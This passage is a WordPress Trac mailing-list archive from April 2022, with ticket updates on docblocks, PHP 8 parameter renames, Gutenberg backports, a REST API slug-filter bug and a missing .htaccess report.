improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.a834a9d9cdeddbd4bf4bef0839530450@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by audrasjb): In [changeset:"53256" 53256]: {{{ #!CommitTicketReference repository="" revision="53256" Docs: Use third-person singular verbs for function descriptions in `WP_User_Query` Class, as per docs standards. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:88> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 13:12:13 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 13:12:13 -0000 Subject: [wp-trac] [WordPress Trac] #55616: Helper function to unhook class methods Message-ID: <059.8139117e8873f8dfe5bb15603abf1950@wordpress.org> #55616: Helper function to unhook class methods -----------------------------+----------------------------- Reporter: johnjamesjacoby | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Plugins | Version: Severity: normal | Keywords: 2nd-opinion Focuses: | -----------------------------+----------------------------- Problem: it’s pretty common (even if it’s not polite) for plugins to use a class constructor to hook their own public methods into things, but doing so makes it ''near-impossible'' to unhook procedurally. Solution: I just ran across the following function on StackExchange, and imagined something similar could be quite useful to have globally available: https://wordpress.stackexchange.com/a/304861 It’s gnarly, but it works, and I think having WordPress core include this functionality makes more sense than having plugin authors all include their own version of it. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55616> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 13:14:06 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 13:14:06 -0000 Subject: [wp-trac] [WordPress Trac] #55616: Helper function to unhook anonymous class methods (was: Helper function to unhook class methods) In-Reply-To: <059.8139117e8873f8dfe5bb15603abf1950@wordpress.org> References: <059.8139117e8873f8dfe5bb15603abf1950@wordpress.org> Message-ID: <074.bc231a8e6753bbed40e88508e50e4c2a@wordpress.org> #55616: Helper function to unhook anonymous class methods -----------------------------+------------------------------ Reporter: johnjamesjacoby | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Plugins | Version: Severity: normal | Resolution: Keywords: 2nd-opinion | Focuses: -----------------------------+------------------------------ -- Ticket URL: <https://core.trac.wordpress.org/ticket/55616#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 13:18:44 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 13:18:44 -0000 Subject: [wp-trac] [WordPress Trac] #42942: Provide a post_date_column_time hook for media files In-Reply-To: <054.b8ba66020e3f87a90d888b926a23b5f9@wordpress.org> References: <054.b8ba66020e3f87a90d888b926a23b5f9@wordpress.org> Message-ID: <069.30bf5781f79a1e4f93371b8a6426d66d@wordpress.org> #42942: Provide a post_date_column_time hook for media files -------------------------------------------------+------------------------- Reporter: ivanlutrov | Owner: | davidbaumwald Type: feature request | Status: closed Priority: normal | Milestone: 6.0 Component: Administration | Version: 5.1 Severity: normal | Resolution: fixed Keywords: has-patch dev-feedback needs-docs | Focuses: add-to-field-guide | -------------------------------------------------+------------------------- Changes (by milana_cap): * keywords: has-patch dev-feedback needs-dev-note needs-docs => has-patch dev-feedback needs-docs add-to-field-guide Comment: As this is the only Administration ticket marked for docs it probably won't find a fitting Dev note so I'm marking it for mention in Field guide. -- Ticket URL: <https://core.trac.wordpress.org/ticket/42942#comment:17> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 13:23:09 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 13:23:09 -0000 Subject: [wp-trac] [WordPress Trac] #55616: Helper function to unhook anonymous class methods In-Reply-To: <059.8139117e8873f8dfe5bb15603abf1950@wordpress.org> References: <059.8139117e8873f8dfe5bb15603abf1950@wordpress.org> Message-ID: <074.996b1e5ef8e9f8401e20529522bae480@wordpress.org> #55616: Helper function to unhook anonymous class methods -----------------------------+------------------------------ Reporter: johnjamesjacoby | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Plugins | Version: Severity: normal | Resolution: Keywords: 2nd-opinion | Focuses: -----------------------------+------------------------------ Comment (by zodiac1978): Related: https://core.trac.wordpress.org/ticket/23259 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55616#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 13:27:58 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 13:27:58 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.855589c0dff394d7fa127695b9ee4f01@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53257" 53257]: {{{ #!CommitTicketReference repository="" revision="53257" Code Modernization: Rename parameters that use reserved keywords in `wp- includes/class-wp-customize-widgets.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit renames the `$default` parameter to `$default_value` in `WP_Customize_Widgets` class methods. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174], [53184], [53185], [53192], [53193], [53198], [53203], [53207], [53215], [53216], [53220], [53230], [53232], [53236], [53239], [53240], [53242], [53243], [53245], [53246]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:46> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 13:41:54 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 13:41:54 -0000 Subject: [wp-trac] [WordPress Trac] #54795: Bootstrap: Move navigation post type hooks to `admin-filters.php` In-Reply-To: <047.3037a2798a4e649c49aff9a105ba0546@wordpress.org> References: <047.3037a2798a4e649c49aff9a105ba0546@wordpress.org> Message-ID: <062.e4208c4d6c4a698e3c8bdedc928b8b66@wordpress.org> #54795: Bootstrap: Move navigation post type hooks to `admin-filters.php` -------------------------------------+------------------------ Reporter: dlh | Owner: audrasjb Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Bootstrap/Load | Version: Severity: normal | Resolution: Keywords: has-patch needs-refresh | Focuses: -------------------------------------+------------------------ Changes (by audrasjb): * keywords: has-patch => has-patch needs-refresh * owner: (none) => audrasjb * status: new => reviewing Comment: @antonvlasenko the PR looks good to me, but there is a few conflict that would need to be solved. Are you available to resolve them in the current PR? -- Ticket URL: <https://core.trac.wordpress.org/ticket/54795#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 14:10:45 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 14:10:45 -0000 Subject: [wp-trac] [WordPress Trac] #55611: Changes disappear when switching the editor mode In-Reply-To: <048.63c10e6ff6c949ab236cf6467390b722@wordpress.org> References: <048.63c10e6ff6c949ab236cf6467390b722@wordpress.org> Message-ID: <063.44d9d2e2d4b26de6bbf7dc0553994dbe@wordpress.org> #55611: Changes disappear when switching the editor mode -----------------------------+-------------------------------- Reporter: axdr | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: Editor | Version: Severity: normal | Resolution: reported-upstream Keywords: block-editor-ui | Focuses: -----------------------------+-------------------------------- Changes (by sabernhardt): * status: new => closed * resolution: => reported-upstream * milestone: Awaiting Review => Comment: I'll close it here. If you have anything to add, please comment on GB40575. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55611#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 14:11:05 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 14:11:05 -0000 Subject: [wp-trac] [WordPress Trac] #55612: Shortcut Ctrl-Alt-Shift-M does not work in editor In-Reply-To: <048.14c7dfc7ea839a656a83113a5c87d48e@wordpress.org> References: <048.14c7dfc7ea839a656a83113a5c87d48e@wordpress.org> Message-ID: <063.723e1aef7a81b3c65be363c079da6b01@wordpress.org> #55612: Shortcut Ctrl-Alt-Shift-M does not work in editor -----------------------------+-------------------------------- Reporter: axdr | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: Editor | Version: Severity: normal | Resolution: reported-upstream Keywords: block-editor-ui | Focuses: -----------------------------+-------------------------------- Changes (by sabernhardt): * status: new => closed * resolution: => reported-upstream * milestone: Awaiting Review => Comment: Thanks for opening GB40577 ! -- Ticket URL: <https://core.trac.wordpress.org/ticket/55612#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 14:20:15 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 14:20:15 -0000 Subject: [wp-trac] [WordPress Trac] #55528: Register a oEmbed handler for YouTube Shorts In-Reply-To: <059.ba2dd2bb0ee25af04476c1de31844b38@wordpress.org> References: <059.ba2dd2bb0ee25af04476c1de31844b38@wordpress.org> Message-ID: <074.fdce9ba5b390b6be1988d94ee10d1d06@wordpress.org> #55528: Register a oEmbed handler for YouTube Shorts ----------------------------------------------+---------------------------- Reporter: danielbachhuber | Owner: peterwilsoncc Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Embeds | Version: Severity: normal | Resolution: fixed Keywords: has-patch commit needs-user-docs | Focuses: ----------------------------------------------+---------------------------- Comment (by jenimjn): Please kindly Elaborate How Before patch convert to link is convert to image? [[Image(https://thedailynewsguide.ml/wp-content/uploads/2022/04/Before- patch1.png)]] -- Ticket URL: <https://core.trac.wordpress.org/ticket/55528#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 14:58:05 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 14:58:05 -0000 Subject: [wp-trac] [WordPress Trac] #55616: Helper function to unhook anonymous class methods In-Reply-To: <059.8139117e8873f8dfe5bb15603abf1950@wordpress.org> References: <059.8139117e8873f8dfe5bb15603abf1950@wordpress.org> Message-ID: <074.2535467bf45f46b23d3a73b1e9c03c1e@wordpress.org> #55616: Helper function to unhook anonymous class methods -----------------------------+------------------------------ Reporter: johnjamesjacoby | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Plugins | Version: Severity: normal | Resolution: Keywords: 2nd-opinion | Focuses: -----------------------------+------------------------------ Comment (by TimothyBlynJacobs): Related: #46635. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55616#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 16:04:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 16:04:50 -0000 Subject: [wp-trac] [WordPress Trac] #55617: /wp/v2/pattern-directory/patterns endpoint: slug parameter has no effect on the response Message-ID: <057.f38b276a6c36b0f121e531610086a8b9@wordpress.org> #55617: /wp/v2/pattern-directory/patterns endpoint: slug parameter has no effect on the response ---------------------------+----------------------------- Reporter: antonvlasenko | Owner: antonvlasenko Type: defect (bug) | Status: assigned Priority: normal | Milestone: Awaiting Review Component: REST API | Version: trunk Severity: major | Keywords: Focuses: | ---------------------------+----------------------------- Steps to reproduce the bug: 1. Install [https://github.com/WP-API/Basic-Auth this plugin] to allow basic authorization for REST API requests. 2. Activate the plugin. 3. Send a `GET` request to your WordPress instance, e.g.: {{{ curl --user username:user_password "http://your.wordpress.instance/wp- json/wp/v2/pattern-directory/patterns?slug%5B0%5D=visual-navigation-with- rainbow-gradient" }}} Replace {{{ username:user_password }}} with the actual credentials. Replace {{{ http://your.wordpress.instance }}} with the actual URL of your instance. 3. Note the response. It should contain at least 1 pattern. 4. Send a GET request again, but this time replace {{{ visual-navigation-with-rainbow-gradient }}} with some non-existent pattern. E.g.: {{{ curl --user username:user_password "http://your.wordpress.instance/wp- json/wp/v2/pattern-directory/patterns?slug%5B0%5D=non-existent-pattern" }}} Expected result: The endpoint should return an empty response. Actual result: The endpoint will return the previous response. `slug` parameter has no effect on the response. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55617> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 16:10:33 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 16:10:33 -0000 Subject: [wp-trac] [WordPress Trac] #55617: /wp/v2/pattern-directory/patterns endpoint: slug parameter has no effect on the response In-Reply-To: <057.f38b276a6c36b0f121e531610086a8b9@wordpress.org> References: <057.f38b276a6c36b0f121e531610086a8b9@wordpress.org> Message-ID: <072.12108fd9cae3e6832b4d60dc84fb8192@wordpress.org> #55617: /wp/v2/pattern-directory/patterns endpoint: slug parameter has no effect on the response ---------------------------+------------------------------ Reporter: antonvlasenko | Owner: antonvlasenko Type: defect (bug) | Status: assigned Priority: normal | Milestone: Awaiting Review Component: REST API | Version: trunk Severity: major | Resolution: Keywords: | Focuses: ---------------------------+------------------------------ Changes (by spacedmonkey): * keywords: has-patch has-unit-tests => Comment: I haven't looked to deeply into this, but I noticed that slug was query params in `get_collection_params`. We could fix that as part of this solution. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55617#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 16:10:45 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 16:10:45 -0000 Subject: [wp-trac] [WordPress Trac] #55617: /wp/v2/pattern-directory/patterns endpoint: slug parameter has no effect on the response In-Reply-To: <057.f38b276a6c36b0f121e531610086a8b9@wordpress.org> References: <057.f38b276a6c36b0f121e531610086a8b9@wordpress.org> Message-ID: <072.982b7002cd627cda05d14431f3a304c9@wordpress.org> #55617: /wp/v2/pattern-directory/patterns endpoint: slug parameter has no effect on the response ---------------------------+---------------------------- Reporter: antonvlasenko | Owner: antonvlasenko Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: REST API | Version: trunk Severity: major | Resolution: Keywords: | Focuses: ---------------------------+---------------------------- Changes (by spacedmonkey): * milestone: Awaiting Review => 6.0 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55617#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 16:11:08 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 16:11:08 -0000 Subject: [wp-trac] [WordPress Trac] #55617: /wp/v2/pattern-directory/patterns endpoint: slug parameter has no effect on the response In-Reply-To: <057.f38b276a6c36b0f121e531610086a8b9@wordpress.org> References: <057.f38b276a6c36b0f121e531610086a8b9@wordpress.org> Message-ID: <072.173590551f90c54d070329013d063c31@wordpress.org> #55617: /wp/v2/pattern-directory/patterns endpoint: slug parameter has no effect on the response ------------------------------------------+---------------------------- Reporter: antonvlasenko | Owner: antonvlasenko Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: REST API | Version: trunk Severity: major | Resolution: Keywords: needs-patch needs-unit-tests | Focuses: rest-api ------------------------------------------+---------------------------- Changes (by spacedmonkey): * keywords: => needs-patch needs-unit-tests * focuses: => rest-api -- Ticket URL: <https://core.trac.wordpress.org/ticket/55617#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 16:11:10 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 16:11:10 -0000 Subject: [wp-trac] [WordPress Trac] #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg In-Reply-To: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> References: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> Message-ID: <065.44b15ce3b244dae25818ba489eac995b@wordpress.org> #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg --------------------------------------+--------------------- Reporter: gziolo | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: trunk Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by gziolo): In [changeset:"53258" 53258]: {{{ #!CommitTicketReference repository="" revision="53258" Tests: Add missing unit tests to Comment Template block Follow-up for [53138], [53172]. Props darerodz. See #55567. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55567#comment:35> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 16:15:01 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 16:15:01 -0000 Subject: [wp-trac] [WordPress Trac] #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg In-Reply-To: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> References: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> Message-ID: <065.c38eac9c84e9d8e314aeec1ac2ad7e9e@wordpress.org> #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg --------------------------------------+--------------------- Reporter: gziolo | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: trunk Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by gziolo): In [changeset:"53259" 53259]: {{{ #!CommitTicketReference repository="" revision="53259" Editor: Add default comment status to discussion settings This is a backport that exposes the default_comments_status option in the Editor, under the discussion settings, which then is then used by the Post Comments and Post Comments Form blocks. Related change in Gutenberg: https://github.com/WordPress/gutenberg/pull/40484. Props luisherranz. See #55567. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55567#comment:36> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 16:35:32 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 16:35:32 -0000 Subject: [wp-trac] [WordPress Trac] #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg In-Reply-To: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> References: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> Message-ID: <065.03e6768f3184ac9f913793910ef76b11@wordpress.org> #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg --------------------------------------+--------------------- Reporter: gziolo | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: trunk Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by gziolo): In [changeset:"53260" 53260]: {{{ #!CommitTicketReference repository="" revision="53260" Editor: Fix styles for nested elements (link color) This fixes an issue by which link color behaves differently in the editor and front end. Related Gutenberg PR: https://github.com/WordPress/gutenberg/pull/37728. Props oandregal. See #55567. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55567#comment:39> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 16:45:49 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 16:45:49 -0000 Subject: [wp-trac] [WordPress Trac] #55351: The New Layout Fix For Plugin Install Page In-Reply-To: <059.800b911ae628dfad4064e3217fe6242f@wordpress.org> References: <059.800b911ae628dfad4064e3217fe6242f@wordpress.org> Message-ID: <074.92be43f8ca33c4229cdd6b21df3378ca@wordpress.org> #55351: The New Layout Fix For Plugin Install Page -----------------------------+-------------------------------------- Reporter: sharjeelkhanvmi | Owner: (none) Type: enhancement | Status: closed Priority: normal | Milestone: Component: Plugins | Version: 5.9.1 Severity: normal | Resolution: duplicate Keywords: has-screenshots | Focuses: ui, css, administration -----------------------------+-------------------------------------- Comment (by jenimjn): I see this after view Install plugin page:[[Image(https://independentcouk.cf/wp-content/uploads/2022/04/plugin- install-layout-after.png)]]. What is the exact difference between before and after install plugin page? -- Ticket URL: <https://core.trac.wordpress.org/ticket/55351#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 16:48:34 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 16:48:34 -0000 Subject: [wp-trac] [WordPress Trac] #55617: /wp/v2/pattern-directory/patterns endpoint: slug parameter has no effect on the response In-Reply-To: <057.f38b276a6c36b0f121e531610086a8b9@wordpress.org> References: <057.f38b276a6c36b0f121e531610086a8b9@wordpress.org> Message-ID: <072.0c85584f969118204f2354a0ec35ee7d@wordpress.org> #55617: /wp/v2/pattern-directory/patterns endpoint: slug parameter has no effect on the response ------------------------------------------+---------------------------- Reporter: antonvlasenko | Owner: antonvlasenko Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: REST API | Version: trunk Severity: major | Resolution: Keywords: needs-patch needs-unit-tests | Focuses: rest-api ------------------------------------------+---------------------------- Comment (by antonvlasenko): Replying to [comment:2 spacedmonkey]: > I haven't looked to deeply into this, but I noticed that slug was query params in `get_collection_params`. We could fix that as part of this solution. I agree, it would be nice to fix it. Fixed it in https://github.com/WordPress/wordpress- develop/pull/2625/commits/b1598ab4191ac31cb8f3e019163f7c384a22ad5a -- Ticket URL: <https://core.trac.wordpress.org/ticket/55617#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 16:56:01 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 16:56:01 -0000 Subject: [wp-trac] [WordPress Trac] #55571: Gallery block fixtures in phpunit tests need updating In-Reply-To: <056.7af5202f92285945ac559a931ec8e2fc@wordpress.org> References: <056.7af5202f92285945ac559a931ec8e2fc@wordpress.org> Message-ID: <071.a607cdaa14c047c8e19a561ef789ad6e@wordpress.org> #55571: Gallery block fixtures in phpunit tests need updating --------------------------------------+--------------------------- Reporter: glendaviesnz | Owner: glendaviesnz Type: task (blessed) | Status: closed Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: trunk Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------------- Changes (by gziolo): * status: assigned => closed * resolution: => fixed Comment: In [changeset:"53261" 53261]: {{{ #!CommitTicketReference repository="" revision="53261" Tests: Update Gallery block unit tests to new gallery format The Gallery block unit tests still use the old format, so this updates it to the new format that uses nested Image blocks. Props glendaviesnz. Fixes #55571. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55571#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 17:01:56 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 17:01:56 -0000 Subject: [wp-trac] [WordPress Trac] #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg In-Reply-To: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> References: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> Message-ID: <065.5a9336026092ef203e3ece9f563fe0d1@wordpress.org> #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg --------------------------------------+--------------------- Reporter: gziolo | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: trunk Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by gziolo): In [changeset:"53262" 53262]: {{{ #!CommitTicketReference repository="" revision="53262" Build: Update the constant used to remove experimental Gutenberg code We missed the change for blocks that got applied to packages. `process.env.GUTENBERG_PHASE` got renamed to `process.env.IS_GUTENBERG_PLUGIN`. See #55567. Follow-up for [53157]. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55567#comment:42> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 17:02:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 17:02:37 -0000 Subject: [wp-trac] [WordPress Trac] #55597: WordPress 6.0-beta2-53224 not creating .htaccess In-Reply-To: <053.44101b80c4a788fb0958a22e715dc141@wordpress.org> References: <053.44101b80c4a788fb0958a22e715dc141@wordpress.org> Message-ID: <068.87add7a7f6784ad596976117b49ee949@wordpress.org> #55597: WordPress 6.0-beta2-53224 not creating .htaccess -------------------------------------------------+------------------------- Reporter: campation | Owner: (none) Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Permalinks | Version: trunk Severity: critical | Resolution: Keywords: needs-testing needs-patch reporter- | Focuses: feedback | -------------------------------------------------+------------------------- Comment (by costdev): @campation Can you verify what `Tools > Site Health > Info tab > Filesystem Permissions` shows? N.B. The reason I'm specifically requesting this screen's data is so we can see what WordPress is seeing. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55597#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 17:29:33 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 17:29:33 -0000 Subject: [wp-trac] [WordPress Trac] #55597: WordPress 6.0-beta2-53224 not creating .htaccess In-Reply-To: <053.44101b80c4a788fb0958a22e715dc141@wordpress.org> References: <053.44101b80c4a788fb0958a22e715dc141@wordpress.org> Message-ID: <068.67d9c71ac4d88b83d13699eb7b02adda@wordpress.org> #55597: WordPress 6.0-beta2-53224 not creating .htaccess -------------------------------------------------+------------------------- Reporter: campation | Owner: (none) Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Permalinks | Version: trunk Severity: critical | Resolution: Keywords: needs-testing needs-patch reporter- | Focuses: feedback | -------------------------------------------------+------------------------- Comment (by campation): of course! Shows whether WordPress is able to write to the directories it needs access to. The main WordPress directory Writable The wp-content directory Writable The uploads directory Writable The plugins directory Writable The themes directory Writable -- Ticket URL: <https://core.trac.wordpress.org/ticket/55597#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 19:00:11 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 19:00:11 -0000 Subject: [wp-trac] [WordPress Trac] #52626: Block editor doesn't paginate parent page results In-Reply-To: <052.1df4975e245eba4b15185b74ea3a6d20@wordpress.org> References: <052.1df4975e245eba4b15185b74ea3a6d20@wordpress.org> Message-ID: <067.4ae4c7c8bcec7c28e49dd071b99edfbb@wordpress.org> #52626: Block editor doesn't paginate parent page results --------------------------+------------------------------ Reporter: hobzhobz | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: 5.6.2 Severity: major | Resolution: Keywords: | Focuses: rest-api --------------------------+------------------------------ Comment (by axdr): Do not forget that one of the conditions of the problem is too large number of pages. When there are few of them, this problem does not exist. There is no task to build a tree of all pages. Not all pages can be a parent. And the box is too small to put all pages there. I already wrote what I propose as an option [[https://core.trac.wordpress.org/ticket/55609|#55609]] "''choose pages that have parent=0, then pages that have parent among first group of pages.''" -- Ticket URL: <https://core.trac.wordpress.org/ticket/52626#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 21:21:33 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 21:21:33 -0000 Subject: [wp-trac] [WordPress Trac] #55145: Widget Editor in Gutenberg In-Reply-To: <051.5167df4610d17cc0a63fce077c37141c@wordpress.org> References: <051.5167df4610d17cc0a63fce077c37141c@wordpress.org> Message-ID: <066.a1c4106989b7341ad218338d1d1c3da2@wordpress.org> #55145: Widget Editor in Gutenberg --------------------------+-------------------------------- Reporter: Tom2708 | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: Widgets | Version: Severity: normal | Resolution: reported-upstream Keywords: | Focuses: --------------------------+-------------------------------- Changes (by sabernhardt): * status: new => closed * resolution: => reported-upstream * milestone: Awaiting Review => Comment: Hi and welcome to Trac! Because this involves a block editor interface problem, the report belongs on GitHub. [https://github.com/WordPress/gutenberg/issues/33479 Issue 33479] covers most of this, and you might be interested in GB35087 about disabling the legacy widget previews. If you have anything to add, please comment on one of those issues and/or [https://github.com/WordPress/gutenberg/issues/new/choose create a new issue] there. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55145#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 25 21:35:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 25 Apr 2022 21:35:17 -0000 Subject: [wp-trac] [WordPress Trac] #55617: /wp/v2/pattern-directory/patterns endpoint: slug parameter has no effect on the response In-Reply-To: <057.f38b276a6c36b0f121e531610086a8b9@wordpress.org> References: <057.f38b276a6c36b0f121e531610086a8b9@wordpress.org> Message-ID: 